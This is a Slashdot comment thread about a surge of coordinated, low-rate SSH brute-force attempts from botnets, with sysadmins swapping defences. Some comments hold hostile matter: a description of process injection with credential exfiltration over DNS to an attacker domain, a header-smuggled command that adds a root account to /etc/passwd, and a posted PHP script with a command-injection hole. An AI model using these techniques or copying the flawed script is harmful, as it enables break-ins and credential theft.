Slashdot Mirror


Distributed, Low-Intensity Botnets

badger.foo writes "We have seen the future of botnets, and it is distributed and low-key. Are sites running free software finally becoming malware targets? It all started with a higher-than-usual number of failed ssh logins at a low-volume site. I think we are seeing the shape of botnets to come, with malware authors doing their early public beta testing during the last few weeks."

167 comments

  1. First Post by Luke727 · · Score: 3, Funny

    And I didn't even need to use a botnet!

    --
    If you find this post offensive, don't read it! THINK ABOUT YOUR BREATHING! I am what I am because of how apes behave.
  2. Non Distributed Botnets by LeadLine · · Score: 1

    "the future of botnets, and it is distributed"

    Were there ever any botnets that weren't distributed?

    1. Re:Non Distributed Botnets by internerdj · · Score: 2, Insightful

      I can't RTFA at work cause it is a blog, but in this case, my guess would be: Not-distributed probably means a centralized C&C architecture which has been traditionally the case, as opposed to a de-centralized (AKA distributed) P2P type C&C architecture.

    2. Re:Non Distributed Botnets by Anonymous Coward · · Score: 0

      I can't RTFA at work cause it is a blog

      Can you read this at work?

    3. Re:Non Distributed Botnets by internerdj · · Score: 4, Insightful

      It is a bit more complicated than that. My job is a bit more important to me than reading the article and believe me where I work they are very unfriendly to circumventing security measures.

    4. Re:Non Distributed Botnets by internerdj · · Score: 1

      Besides it is /. who expects me to RTFA anyways?

    5. Re:Non Distributed Botnets by flappinbooger · · Score: 3, Insightful

      you can read slashdot, but not a blog?

      Isn't slashdot basically a big overgrown blog?

      --
      Flappinbooger isn't my real name
    6. Re:Non Distributed Botnets by Anonymous Coward · · Score: 0

      Distributed nets can also be centralized. Sorry, your guess is wrong.

    7. Re:Non Distributed Botnets by ShaunC · · Score: 4, Insightful

      you can read slashdot, but not a blog?

      This isn't surprising at all, even less so if he works in IT. Corporate management issues a new policy: "our computing resources are not to be used for [insert a huge list of time-wasting things employees have been caught doing in the office]." But keep in mind who's eventually tasked with implementing the policy. Given such an edict, network admins everywhere will happily block the most prolific productivity killers... Except for their own.

      You'll find plenty of enterprises where MySpace, Facebook, Blogger, LiveJournal and friends all resolve to nowhere, yet geekier time pits like Slashdot and TechCrunch are wide open.

      --
      Thanks to the War on Drugs, it's easier to buy meth than it is to buy cold medicine!
    8. Re:Non Distributed Botnets by rdnetto · · Score: 1

      Yeah, but the content filter doesn't know that...

      --
      Most human behaviour can be explained in terms of identity.
    9. Re:Non Distributed Botnets by Alpha830RulZ · · Score: 1

      Sh-h-h-h!

      --
      I was taught to respect my elders. The trouble is, it's getting harder and harder to find some.
    10. Re:Non Distributed Botnets by Anonymous Coward · · Score: 0

      Yeah, but keep in mind it is the IT type folks that write and run the software that blocks the interwebs? Coincidence? I think not!

    11. Re:Non Distributed Botnets by Anonymous Coward · · Score: 0

      I do.

    12. Re:Non Distributed Botnets by ShaunC · · Score: 1

      Sh-h-h-h!

      It's all good. Everyone likes to ask, "Who watches the watchers?" But without fail, the IT department watches itself, because nobody else knows how to. :)

      --
      Thanks to the War on Drugs, it's easier to buy meth than it is to buy cold medicine!
    13. Re:Non Distributed Botnets by OeLeWaPpErKe · · Score: 4, Informative

      Actually botnets watch the IT department.

      Is this really a surprise ? Not every hacker is a 10 year old that does it for the kick of announcing himself "master of the network".

      These days you write a virus, that stays in the back-back-background (exe injection is one hell of a rootkit-like trick that not a single antivirus vendor detects : you startup. You find some dameon process that's sure as hell not going to get terminated any time soon (on winxp you can actually use the "idle" process), you "debug" the process, insert your own code in it's memory, in a freshly allocated piece, use the debugger to jump into your code, which creates a new thread in it's address space. You clean up, and voila, you'd have to be one hell of an admin to realise what happens on boot. You could even infect svchost.exe on disk).

      The hacking programs stay very, very, very low key and use covert channels to send information out, and receive answers. (e.g. user logs in with username password -> daemon looks up aes('$username,$password').some.domain.attacker.owns. The remote dns server is what informs the attacker of the username and password. Or have the webbrowser startup in a hidden window going to "yooptube.com?v="+aes('$username,$password'). You get the idea.

      In these days of youtube, myspace and such, such a lookup is not exactly a strange occurance (though I use a "question and answers" site), and used sparingly, will evade any detection system.

      Use the enemy's tools against him. Use the webbrowser to connect to the web. Use DNS. Use email. Use ... never try to open an outside connection.

      Works wonders. 3 years now, and still not discovered.

    14. Re:Non Distributed Botnets by Fotherington · · Score: 0

      That reminds me of this rather interesting document: basically, the US Army decides to ban Myspace, but not Facebook. Who uses Myspace? The grunts. Who uses Facebook? The officers....

    15. Re:Non Distributed Botnets by eudaemon · · Score: 2, Interesting

      Fun and interesting theory. I've noticed one of my really old XP installs is "busy (unresponsive or laggy) when it should be idle" for a while now.
      I encapsulated it into a virtualbox vm on a linux machine, and created a firewall rule to deny and log all direct internet access requests.
      Proxy access to a limit set of sites is available on squid, which also logs all traffic. It's never actually tried to go anywhere but vendor sites
      for software updates, but I have my eye on it none-the-less. It could just be it's a really, really old install of XP.

      The great thing about moving it off to virtualbox, and parking the image on ZFS is it'll far outlive the hardware it was originally installed upon.
      In fact it already has which was the genesis of this project. It takes some effort to get XP moved to virtualbox (it really helps if you
      have a record of your original MAC address), but once XP is reregistered with the new hardware profile it's effortless to move that VDI around
      between vm server machines. As flash storage becomes cheaper and cheaper, I fully expect services to spring up which do all the hard
      work of snapping off a copy of your old desktop and letting you run XP on XP, XP on Linux or Windows 7 in case you ever need it.

      To tie it back to virri and worms it makes a nice forensics tool, particularly if you use ZFS snapshotting. You can always roll the FS back
      external to the VM. Wouldn't be interesting to dust off an old XP VM in 5 years, apply the latest antivirus software and see what's been lurking?

       

  3. Isn't that... by mewshi_nya · · Score: 1

    Isn't that what already do? Distributed, rather than monolithic, spamming?

    Anyway, it's not that surprising...

    1. Re:Isn't that... by davester666 · · Score: 2, Insightful

      Um, ssh attacks aren't new. They've been hitting my server's for year's, and mine are for a private consulting company, with trivial amounts of random 'consumer' traffic.

      --
      Sleep your way to a whiter smile...date a dentist!
    2. Re:Isn't that... by Duckie01 · · Score: 4, Interesting

      Yeah these worms were attacking my home linux router as well, like a year ago or some.

      Worms just tried to brute force ssh using "administrator" and such as username. I guess they were trying to get into badly (default) configured broadband routers. That's never going to work of course on my linux box but all the login attempts caused the hd to be busy *all* the time.

      My sollution was to drop ssh packets by default in the firewall. Not that these attacks were likely to succeed but I didn't want my consumer grade hd to wear down in a year ;) I then created a small php script that'd insert a firewall rule to accept ssh connections from the IP it's called from. Finally I password protected the php script with .htaccess.

      So now I can enable ssh to my machine wherever I am, while still blocking the rest of the internet.

    3. Re:Isn't that... by davester666 · · Score: 1

      Just changing the port ssh uses completely resolved the problem for me. It was just a stupid scripted attack, trying a couple of passwords for a couple of names, on port 22. Once the port was changed, no more attempts were logged.

      --
      Sleep your way to a whiter smile...date a dentist!
    4. Re:Isn't that... by weetabeex · · Score: 5, Interesting

      You could also be interested in port knocking.

      Turned out to be quite handy when I had that same issue with bots connecting to my ssh port all day long.

    5. Re:Isn't that... by WTF+Chuck · · Score: 1

      Have you posted a copy of that script somewhere? I would be interested in checking it out.

      --
      Note - Liberal use of <sarcasm> tags may or may not need to be applied.
    6. Re:Isn't that... by Anonymous Coward · · Score: 0

      They've been hitting my server's for year's,

      Word's that end with 's' don't automatically get apostrophe's.

    7. Re:Isn't that... by Anonymous Coward · · Score: 0

      until they find the script and brute-force the .htaccess login...

    8. Re:Isn't that... by eudaemon · · Score: 1

      This is why my openbsd box is called 'linksys'. LOL. Might as well have some
      fun with a little misdirection. Sure enough people try to log in as admin, but rarely root.

    9. Re:Isn't that... by Duckie01 · · Score: 1

      Sure there's not a whole lot to check out tho ;-)

      Well initially I just had

      <?php
      $ip = $_SERVER['REMOTE_ADDR'];
      exec("sudo /sbin/iptables -I INPUT -p tcp -s $ip --dport 22 -j ACCEPT");
      ?>

      Just now I niced it up a bit taking http proxies into account, report the results and do some error checking (I'm absolutely no php wiz, just grabbed the function from http://blog.4rev.net/2007-10/get-ip-address-of-the-visitor-php-script/ and added the rest... it's all pretty simple):

      <?php

      function getIP()
      {
      if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
      else if (isset($_SERVER['REMOTE_ADDR'])) $ip = $_SERVER['REMOTE_ADDR'];
      else $ip = "UNKNOWN";
      return $ip;
      }

      $ip = getIP();
      if ($ip != "UNKOWN") {
              system("sudo /sbin/iptables -I INPUT -p tcp -s $ip --dport 22 -j ACCEPT");
              system("sudo /sbin/iptables -nL INPUT|head -n3|tail -n1");
      } else {
              print("Could not determine IP address");
      }
      ?>

      You'll need to visudo to grant permissions to www-data to mess with iptables as root, and create a .htaccess file in the dir if you'd want to password protect the php script.

      HTH

    10. Re:Isn't that... by Duckie01 · · Score: 1

      btw in /etc/sudoers I use

      www-data localhost = NOPASSWD: /sbin/iptables

      For .htaccess check out this page

    11. Re:Isn't that... by Duckie01 · · Score: 1

      Mine was called "router" I think... hmm I'd guess they're not smarter than just targeting ssh daemons on port 22 tho.

    12. Re:Isn't that... by egypt_jimbob · · Score: 1

      That's awesome. My X-Forwarded-For header looks like this:
      0.0.0.0/0 -j ACCEPT;echo 'toor::0:0:root:/root:/bin/bash'>>/etc/passwd;:

      --
      I am a leaf on the wind. Watch how I soar.
    13. Re:Isn't that... by Duckie01 · · Score: 1

      Yeah it doesn't do sanity checking, I did realize that. Did you crack the .htaccess password yet tho?

      Is your X-Forwarded-For somewhat less awesome as you make it sound, or would you really think I created a serious security hole here?

    14. Re:Isn't that... by Duckie01 · · Score: 1

      I really think it's not much of an issue as long as it's password protected by apache... but better be safe than sorry... you never know ;)

      While reading some more about it i find there's also more issues with x-forward-for... like multiple IPs, comma seperated...

      So I stripped the forwarded-for anyways, thanks.

    15. Re:Isn't that... by Duckie01 · · Score: 1

      Hey... this might be better... stripped the x-forwarded-for.  See the other comments.

      <?php

      function getIP()
      {
      if (isset($_SERVER['REMOTE_ADDR'])) $ip = $_SERVER['REMOTE_ADDR'];
      else $ip = "UNKNOWN";
      return $ip;
      }

      $ip = getIP();
      if ($ip != "UNKOWN") {
              system("sudo /sbin/iptables -I INPUT -p tcp -s $ip --dport 22 -j ACCEPT");
              system("sudo /sbin/iptables -nL INPUT|head -n3|tail -n1");
      } else {
              print("Could not determine IP address");
      }
      ?>

  4. Old news by Anonymous Coward · · Score: 0

    I get 500-1000 failed ssh attempts a day on any server I open ssh which is why I restrict to only a few IP addresses. I'd get this many attacks 4 and 5 years ago and there is no real reason to attack us.

    1. Re:Old news by Sancho · · Score: 5, Interesting

      I've noticed a significantly increased number of brute-force attacks in the last week or so. They're also spacing the number of attempts per IP address out, however I'll get several attempts in a row for the same invalid username from several different IP addresses within seconds of each other. Then all of the addresses will back off for a couple of minutes, and then they'll retry with a new username.

      It's gotten to the point where I have finally installed Denyhosts. Prior to this week, I got away with limiting the number of new connections to port 22 per IP address per minute, but with the backoff that they're doing now, that no longer works.

      Denyhosts is fantastic, though. Since I last evaluated it, they've added the ability to sync with a centralized server, meaning that I can potentially block attackers before they even hit me. I wish that everyone would use it, now.

    2. Re:Old news by X0563511 · · Score: 1

      There is a danger though. What stops someone from spoofing a given address with the intention of putting it on 'the list'? Now all your systems have locked you out... what do you do?

      (that said, I use denyhosts with it's sync feature)

      --
      For large sets, this will be our guide even unto death, for the LORD will work for each type of data it is applied to...
    3. Re:Old news by MichaelSmith · · Score: 1

      Same here. I wrote a script which gets called from syslogd. It gets lines from authlog and parses certain lines for the IP address. Each host gets one chance to fail, then goes into a file which pf treats as a list of IP addresses to block. I allow 10000 hosts in the pre-block list and 1000 in the blocked list.

    4. Re:Old news by Sancho · · Score: 3, Informative

      I have always had a select few hosts which are allowed unconditional access to the server, so if I need to, I'll get access.

      Another option is to set up a second SSH daemon on a different port, and which only allows logins using public key (and possibly only by a specific user.) If you get blocked out on port 22, you can just use this side door to get in, as long as you've got your key.

    5. Re:Old news by Sen.NullProcPntr · · Score: 2, Interesting

      Yeah, a year or so ago I got tired of seeing 100-2K ssh entries a day in logwatch on my home machine. Denyhosts was fairly easy to setup and works like a charm.

      I don't use the sync feature but do take advantage of the user black list. Grep the logs once a month and add the most popular names to the black list. I set it up to block the IP on the first attempt to login using any of the banned users.

      Down to about 5-6 attempts a day now. This isn't even a static IP, can't imagine how bad it is for someone with one.

    6. Re:Old news by tcopeland · · Score: 3, Interesting

      > Denyhosts is fantastic, though.

      Indeed it is. Here are the RubyForge DenyHosts settings. The comments on that post have a good suggestion about DENY_THRESHOLD_ROOT; makes sense to have that at 2 vs 1 to avoid blocking someone who accidentally hits the wrong box.

    7. Re:Old news by Sancho · · Score: 1

      Pretty good idea on the user black list. You could probably even do some interesting things to detect common misspellings of your usernames and blacklist anyone using anything else after a single attempt.

    8. Re:Old news by innocent_white_lamb · · Score: 2, Interesting

      Since you've gone that far, why not use the "side door" as the main door and get rid of ssh password access completely?
       
      I use static IP addresses listed in /etc/hosts.allow and have "ALL: ALL" in /etc/hosts.deny. That, plus key-only ssh access (no passwords allowed) seems to work rather well.

      --
      If you're a zombie and you know it, bite your friend!
    9. Re:Old news by Sancho · · Score: 1

      Because I have users to think of, and most users can't be bothered to keep and carry around SSH keys. Hell, I can't either, so if I need to log in from an unfamiliar computer, I tend to use password-based authentication.

    10. Re:Old news by MadAhab · · Score: 1

      Users are one thing, but you can put keys on a USB key, plus putty, and access from most any machine you can find.

      Also, these "attacks" are about 5 years old.

      Frankly, I put them more in the category of the shortwave "number stations" than any genuine attack. The payoff would seem to be way too low to be worthwhile - so the most likely motive is to waste time and resources that might otherwise notice an actual attack.

      --
      Expanding a vast wasteland since 1996.
    11. Re:Old news by lawaetf1 · · Score: 1

      You can only spoof a given source if you're in the same subnet or if you have control over the routing between yourself and the target. The article deals with botnet threats, not insider attacks.

      --
      CommentBot 0.7a running with args "-module irritate,disagree -target random"
    12. Re:Old news by Ash-Fox · · Score: 1

      Users are one thing, but you can put keys on a USB key, plus putty, and access from most any machine you can find.

      I did that once. I kept forgetting the USB key and/or losing as much as my house keys and mobile phone at home (which is a lot).

      --
      Change is certain; progress is not obligatory.
    13. Re:Old news by X0563511 · · Score: 1

      A half connection would be scored as an attack. You send your half of the connection with delays, and your work is done.

      --
      For large sets, this will be our guide even unto death, for the LORD will work for each type of data it is applied to...
    14. Re:Old news by stevey · · Score: 1

      I maintain a ssh probe blacklist which currently has about 4000 entries in it.

      This is only seeded by the reports from a couple of servers I maintain, and could easily be contributed to be interested parties.

    15. Re:Old news by lawaetf1 · · Score: 1

      That would imply a SYN flood. There is no way to asynchronously spoof an address and establish an SSH session by sending my "half of the connection with delays."

      At least that I am aware of.

      --
      CommentBot 0.7a running with args "-module irritate,disagree -target random"
    16. Re:Old news by WuphonsReach · · Score: 1

      Another option is to set up a second SSH daemon on a different port, and which only allows logins using public key (and possibly only by a specific user.) If you get blocked out on port 22, you can just use this side door to get in, as long as you've got your key.

      Got a link for setting up a 2nd SSH daemon?

      (The best move against this attack is either to go with port-knocking or simply move your primary SSH port to a non-standard port. We've chosen the latter solution on all of our public facing servers, along with requiring public-key logins.)

      --
      Wolde you bothe eate your cake, and have your cake?
    17. Re:Old news by Sancho · · Score: 1

      Got a link for setting up a 2nd SSH daemon?

      I don't have a link offhand. It's not a common setup, so it often has to be done manually.

      In a nutshell, you'd need to have another config file (perhaps /etc/sshd2_config) set up to listen on another port. Then you'd need to run sshd and tell it to read the new config file. Obviously, since you want this to happen at startup, you're going to have to create startup scripts. That's going to be distribution-specific.

      (The best move against this attack is either to go with port-knocking or simply move your primary SSH port to a non-standard port. We've chosen the latter solution on all of our public facing servers, along with requiring public-key logins.)

      Yeah, I'd definitely do that if the machine were just mine, or just a few people. I run a small shell host, and getting everyone to understand and switch is going to be problematic. Without access to their e-mail, they're going to have a hard time asking questions about it! :)

  5. Fleas on a dog by try_anything · · Score: 4, Insightful

    If the bad guys can siphon off what they need without being more than a mild annoyance, they can operate without fear of retribution.

    1. Re:Fleas on a dog by Nutria · · Score: 1

      Fleas on a dog ... without fear of retribution

      Flea deterrence is a big business (at least in the USA).

      --
      "I don't know, therefore Aliens" Wafflebox1
  6. Nothing abnormal about SSH probes... by knarf · · Score: 5, Insightful

    I've seen SSH probes on my one-man-and-a-dog site for aeons. I don't think there's anything out of the ordinary, the scum has been trying (and failing) to get in for as long as I've had something listening on the 'net - and that is a long time. There's also nothing new in them trying to root FLOSS-sites as those sites - with their fixed IP addresses, good uptime, high reliability and abundance of crappy PHP-scripts to open the doors - make for good C&C hosts for their flock.

    So all I read from this flog is that a grumpy BSD user should probably check his logs more often. This is nothing new.

    --
    --frank[at]unternet.org
    1. Re:Nothing abnormal about SSH probes... by QuantumRiff · · Score: 1

      Yeah, I had flashbacks to 2000. I remember setting something up (I think it was portsentry) that would put ip's in the hosts.deny file after too many bad logins, or was it hitting too many different ports on my PC? (probably both)

      --

      What are we going to do tonight Brain?
    2. Re:Nothing abnormal about SSH probes... by basscomm · · Score: 1

      Seconded. My own low traffic website, gets hundreds, sometimes thousands of failed SSH logins every day, and has for nearly as long as it's been in existence. I usually end up just turning off SSH so I don't have gigantic logs to sift through every day.

      --
      http://crummysocks.com
    3. Re:Nothing abnormal about SSH probes... by kithrup · · Score: 1, Insightful

      The difference is a big one, and it should terrify you.

      Instead of a single host doing a few dozen or hundred ssh attempts -- which can be easily blocked, even automatedly -- this is a bunch of different hosts doing a coordinated attack. Low-key for the moment, sure -- each host has attempted to only do one or two probes at a time. But still the coordination is undeniable.

      And the part that should terrify you: if the coordinator, instead of having each host do a couple of probes in succession, chose instead to have all of the probes come in at once. From random hosts in the botnet.

      That's a DDoS, and would kick your one-man-and-a-dog site off the net. For a while, at least. And there would be nothing you could do about it.

    4. Re:Nothing abnormal about SSH probes... by Seakip18 · · Score: 1

      For real. I had my single-page-o'-html site up for a little more than a week with inbound 22/80 open before getting ssh probes. Heck, even when I had my dyndns domain, it was getting probed.

      Nothing new at all.

      --
      import system.cool.Sig;
    5. Re:Nothing abnormal about SSH probes... by MartinSchou · · Score: 1

      my one-man-and-a-dog site

      Is it me or does that sound somewhat similar to "two girls and a cup"?

    6. Re:Nothing abnormal about SSH probes... by Dishevel · · Score: 1

      my one-man-and-a-dog site

      Is it me or does that sound somewhat similar to "two girls and a cup"?

      my one-man-and-a-dog site

      Is it me or does that sound somewhat similar to "two girls and a cup"?

      Not similar at all. Doggie poo is way different than people poo.

      --
      Why is it so hard to only have politicians for a few years, then have them go away?
    7. Re:Nothing abnormal about SSH probes... by X0563511 · · Score: 3, Insightful

      That's a DDoS, and would kick your one-man-and-a-dog site off the net. For a while, at least. And there would be nothing you could do about it.

      How is this new? Botnets have had this capability for a looong time.

      --
      For large sets, this will be our guide even unto death, for the LORD will work for each type of data it is applied to...
    8. Re:Nothing abnormal about SSH probes... by MichaelSmith · · Score: 3, Insightful

      That's a DDoS, and would kick your one-man-and-a-dog site off the net. For a while, at least. And there would be nothing you could do about it.

      The parasite doesn't want to kill the host, because it would die too. This thing will tick away, slowly getting bigger.

    9. Re:Nothing abnormal about SSH probes... by Anonymous Coward · · Score: 1, Insightful

      That's a DDoS, and would kick your one-man-and-a-dog site off the net. For a while, at least. And there would be nothing you could do about it.

      That has existed pretty much since the popularity of the web, and there are ways around it, they are very expensive, but this changes nothing.

      What we need is, against the better judgement of the white hats, someone to release a patch to permanently patch and firewall these botnets from the face of the earth. Yeah it'd break stuff, too bad.

    10. Re:Nothing abnormal about SSH probes... by Seakip18 · · Score: 1

      Good point, but if he's got control over what traffic is routed his way, he should be able to handle low amounts.

      It's folks running websites from home that have the most to worry about. Even then, their ISP should have a cut-off if someone tries to flood the host with incoming connections. Keyword there is *should*....and you're right that we should worry when that starts happening and ISPs don't move against it. I mean, if someone wanted, they could easily knock my SSH server out and kill my download/upload speeds.

      --
      import system.cool.Sig;
    11. Re:Nothing abnormal about SSH probes... by tubapro12 · · Score: 1

      Precisely my thoughts on the matter. The handful of low bandwidth sites I've worked with that had SSH would have endless logs of failed attempts. And it seemed a large percentage of which even came from within the data center that hosted the servers (probably a sign we should've changed hosts, but that wasn't my call).

    12. Re:Nothing abnormal about SSH probes... by Anonymous Coward · · Score: 0

      That's a DDoS, and would kick your one-man-and-a-dog site off the net. For a while, at least. And there would be nothing you could do about it.

      The parasite doesn't want to kill the host, because it would die too. This thing will tick away, slowly getting bigger.

      that's how successful parasites work in the real world: eg tuberculose which affects you very slowly, as opposite to ebola that kills you faster than you can spread it around ...

    13. Re:Nothing abnormal about SSH probes... by jimmyhat3939 · · Score: 1

      Here's how I solve this problem. I use iptables to block inbound ssh except for from one highly secure IP address. Then, I have a simple perl daemon set up which requires you to attempt to connect to one port, then another, and then it will open ssh to new connections for the next 60 seconds. The daemon doesn't respond to those connection requests. Just notes them.

      The result? Someone has to guess the two "knock knock" ports, which is basically impossible. I don't get zillions of logon attempts, because my site appears to be a black hole.

      And, if the daemon dies, I just access the server from the aforementioned very secure server.

      --
      Free Conference Call -- No Spam, High Quality
    14. Re:Nothing abnormal about SSH probes... by POTSandPANS · · Score: 1

      On most of my systems, I only allow a few IP ranges access to port 22. It's not a perfect solution for all situations, but its pretty easy to set up and clears up the problem quite nicely. I also don't allow root to login through ssh, so somebody will have to guess a login/password combo, then they can work on guessing the su password.

    15. Re:Nothing abnormal about SSH probes... by Johnny+Mnemonic · · Score: 1


      And there would be nothing you could do about it.
      Change the port that ssh listens on? Only listen for ssh on the intranet, and nothing external?

      --

      --
      $tar -xvf .sig.tar
    16. Re:Nothing abnormal about SSH probes... by Jeremi · · Score: 1

      That's a DDoS, and would kick your one-man-and-a-dog site off the net. For a while, at least. And there would be nothing you could do about it.

      Well, not nothing... you could always keep copies of your web site available on various hosts around the Internet, and when one of them gets DDOS'd, start serving from another one.

      But how to set up a large number of mirroring servers for free? Your best bet is to use a botnet to do it...

      --


      I don't care if it's 90,000 hectares. That lake was not my doing.
    17. Re:Nothing abnormal about SSH probes... by daybot · · Score: 1

      I've seen SSH probes on my one-man-and-a-dog site for aeons. I don't think there's anything out of the ordinary, the scum has been trying (and failing) to get in for as long as I've had something listening on the 'net - and that is a long time.

      Ditto. I saw a suspiciously high number of genuine accounts being attempted. I drew the conclusion that this was coming from bulk email lists.

      1. Buy bulk email list, containing fred@foo.com and others.
      2. SSH to foo.com as fred - try some common passwords. Maybe try fred@ftp.foo.com for good measure.
      3. Profit!

    18. Re:Nothing abnormal about SSH probes... by richlv · · Score: 1

      portknocking is well known, yes.
      maybe a bit less secure, but easier to implement and use - just set iptables to reject further connections to ssh port after some amount of connection attempts in a minute from single ip.
      for my low-usage systems that's few connects per minute, and then it's some 5-10 minutes of rejects.
      this alone drops password guessing from thousands a day to few dozens. most probes give up after first 5 minutes if being unable to connect.
      tune these values according to your system usage patterns if you want an easy way to get less of that crap in logfiles.

      --
      Rich
    19. Re:Nothing abnormal about SSH probes... by itof500 · · Score: 1

      Yes. I was also impressed with the many ssh attempts on my family server when I first put it up. Changing the ssh to a non-standard port, and using iptables to limit ssh access to two other computers in the TCP/IP universe (my lab workstation and my apartment) fixed the problem. I have not had an ssh attempt on the server in the last 10 years.

      duke out

    20. Re:Nothing abnormal about SSH probes... by Anonymous Coward · · Score: 0

      But, it is still poo.

      Mmm, glorious poo.

    21. Re:Nothing abnormal about SSH probes... by nahdude812 · · Score: 1

      This new attack is a coordinated brute force from tens or hundreds of thousands of IP addresses. Each one is only hitting you a few times, so they won't trip per-ip blocking thresholds, but collectively they perform a brute force in the same way that a single host would be able to if you had no blocking threshold in place at all.

      Port knocking is a good solution to this, but it's not super portable; I would be unable for example to ssh in from most corporate networks which would block my knocking ports.

      I've been thinking about setting up a web page which requires a client TLS certificate to authenticate against it. If the right cert is sent, it opens SSH to the originating IP (or maybe asks me for an IP to allow - this would get me past a corporate http proxy having a different IP from my public IP issue). https://servername.com/openports?ip=aaa.bbb.ccc.ddd. It's easy to configure Apache to reject connections without a properly signed client cert. I can let well-tested portable public/private cryptography handle granting connectivity that way.

    22. Re:Nothing abnormal about SSH probes... by morgan_greywolf · · Score: 1

      Bah. Portknocking is cool, but it is, at the end of the day, security-through-obscurity.

      I just set my SSH server up to only accept RSA private keys as valid authentication. No password auth is allowed. Good luck forging a 2048-bit OpenSSH RSA private key.

  7. My preferred term is "free radicals" by dword+ZZork · · Score: 2, Interesting

    Like, cancer, but on computers. In computers. Swarming through an incomprehensibly convoluted and complicated array of computers. Why, oh why, did I ever, start, using, computers?

    --
    "But seriously dude, what is that in the radiator?"
  8. Looks like the malware ecosphere is learning... by idontgno · · Score: 2, Interesting

    the difference between parasitism and commensal symbiosis. Great. It's already hard enough to keep infestation under control in the network ecosystem. When there's no visible damaging impact, how will we detect them?

    --
    Welcome to the Panopticon. Used to be a prison, now it's your home.
  9. SSH probes are nothing new by coulbc · · Score: 2, Informative

    I get somewhere between twenty and thirty attempts per day agianst my SSH server alone. The server blocks the IP permanently after 3 bad attempts and they always try repeatedly until blocked. most of the attempts come from cable or dsl address spaces. I use gibberish for usernames and only allow certificate based authentication. They still keep trying however.

    1. Re:SSH probes are nothing new by cdrudge · · Score: 1

      I'm in pretty much the same boat with my home ssh server, except I would get 20-30 attempts an hour. Occasionally I would sift through some of the attempts just to see what they were trying to guess as usernames. Root and admin were usual attempts, but I would also see oracle, sa, mysql, etc as well as just random first names like John, Mary, Bob, etc. I eventually grew tired of it just filling up my log files so I switched to a non-standard port and haven't seen an attempt since.

    2. Re:SSH probes are nothing new by ShaunC · · Score: 5, Interesting

      Yeah, same here, except right now there's a rather humongous distributed bruteforce campaign going on. The 20-30 attempts I tend to see have skyrocketed to several thousand per day. It's actually pretty impressive - it's clearly a distributed sequential dictionary attack. Most of the IPs will only try once or twice, in an effort to avoid exactly the sort of reactive firewalling you mention.

      Dec 1 11:17:57 shaunc sshd[35178]: Failed unknown for illegal user griffin from 196.211.53.74 port 20893 ssh2
      Dec 1 11:18:17 shaunc sshd[35262]: Failed unknown for illegal user griffith from 92.50.243.18 port 40689 ssh2
      Dec 1 11:18:30 shaunc sshd[35308]: Failed unknown for illegal user griffith from 82.207.103.151 port 60822 ssh2
      Dec 1 11:18:33 shaunc sshd[35354]: Failed unknown for illegal user grizelda from 65.203.231.41 port 60602 ssh2

      Many thousands of these, seconds apart, all day long. It got so bad that for the time being I've moved sshd to a different port.

      --
      Thanks to the War on Drugs, it's easier to buy meth than it is to buy cold medicine!
    3. Re:SSH probes are nothing new by MichaelSmith · · Score: 1

      I eventually grew tired of it just filling up my log files so I switched to a non-standard port and haven't seen an attempt since.

      I keep ssh open on the standard port because I block offending hosts in pf. It is much easier to detect attacks on ssh, but I get attacked on other ports as well, such as pop3 and smtp.

      I would rather know who the enemy is, than be completely blind.

      If anybody is interested I would be happy to post my current list of blocked hosts.

    4. Re:SSH probes are nothing new by DaveAtFraud · · Score: 2, Informative

      You can cut down on the noise by just moving your ssh port to something other than port 22. Such a move won't stop a serious cracker who will do a port scan, etc. However, since it seems to be sufficient to keep the script kiddies and similar types from doing the sort of stuff described in the article, it means you're far more likely to notice when someone with a little higher skill level tries to crack in.

      Best bet if you have a small user base is to only allow public key authentication and move the ssh port. I did that a while ago and now no noise and a good level of security. I've got a full write up on "Securing Secure Shell" at my blog:

      http://davenjudy.org/davesBlog/node/24

      Cheers,
      Dave

      --
      They that can give up essential liberty to obtain a little temporary safety deserve neither safety nor liberty.
      Ben
    5. Re:SSH probes are nothing new by dargaud · · Score: 1

      How do I get more detailed sshd logs like you do ? Currently it generates nothing useful (only crash reports). The -d option states that "The server sends verbose debug output to the system log, and does not put itself in the background. The server also will not fork and will only process one connection. This option is only intended for debugging for the server." so it's not helping.

      --
      Non-Linux Penguins ?
    6. Re:SSH probes are nothing new by ShaunC · · Score: 1

      Check out the contents of your /var/log/auth.log. I run FreeBSD and haven't had root on a linux machine in awhile, but also take a look and see if you have a /var/log/security.

      --
      Thanks to the War on Drugs, it's easier to buy meth than it is to buy cold medicine!
  10. Nothing new, move along by girlintraining · · Score: 4, Insightful

    Okay, how is this different than previous patterns of hacking activity, other than the fact that they're aquiring compromised machines via a bot net? It's not! These "security researchers" remind me sometimes of my pothead friends. You can always tell someone who's new to smoking weed because they constantly ask the question, "but have you done it on WEED?" It's like somehow the idea that these people are using a botnet makes it all strange and new again. No, fail!

    --
    #fuckbeta #iamslashdot #dicemustdie
    1. Re:Nothing new, move along by sexconker · · Score: 0, Troll

      Security researchers?
      Surely you mean insecurity researchers.

      (And yes, they're useless.)

    2. Re:Nothing new, move along by dword+ZZork · · Score: 1

      I think the gravity of this post is the fact of the novel occurrence, that is to say, that a new technology is being used to do a fairly mundane thing. Though the thing is mundane, the means raise some questions, and hint at perhaps some subtle and largely unseen developments in the netsphere.

      Scary? Just don't look inside the iPod ...

      --
      "But seriously dude, what is that in the radiator?"
    3. Re:Nothing new, move along by theonewho · · Score: 1

      hi,

      i agree -- the means do indeed raise questions -- the evidence hints at ... hmmm ... ?

      it surely does seem like a feint ...

      cheers,
      kevin

    4. Re:Nothing new, move along by ShaunC · · Score: 5, Insightful

      Okay, how is this different than previous patterns of hacking activity, other than the fact that they're aquiring compromised machines via a bot net?

      You're sort of missing the point, I think, in that what's different about this pattern of activity is precisely the fact that it's being done with a botnet.

      For one thing, there's a new level sophistication, primarily in that this bruteforce campaign is not the least bit random. I'm being hit by thousands of distinct attackers, yet the progression of usernames being attempted is undeniably alphabetical. Occasionally a particular username is attempted more than once, but it's typically sequential. One attempt per username with the attacking hosts only making one attempt every few hours.

      The level of coordination required for this sort of attack is unprecedented. Across thousands of bots, each one at any given moment is able to determine:

      • That I am among the pool of targets to be probed
      • That I am, at this precise second, the next target to be probed
      • That this particular bot hasn't probed me recently and is now eligible to probe me again
      • Which usernames have already been probed on my machine
      • The next username, in sequence, that should be attempted on my machine

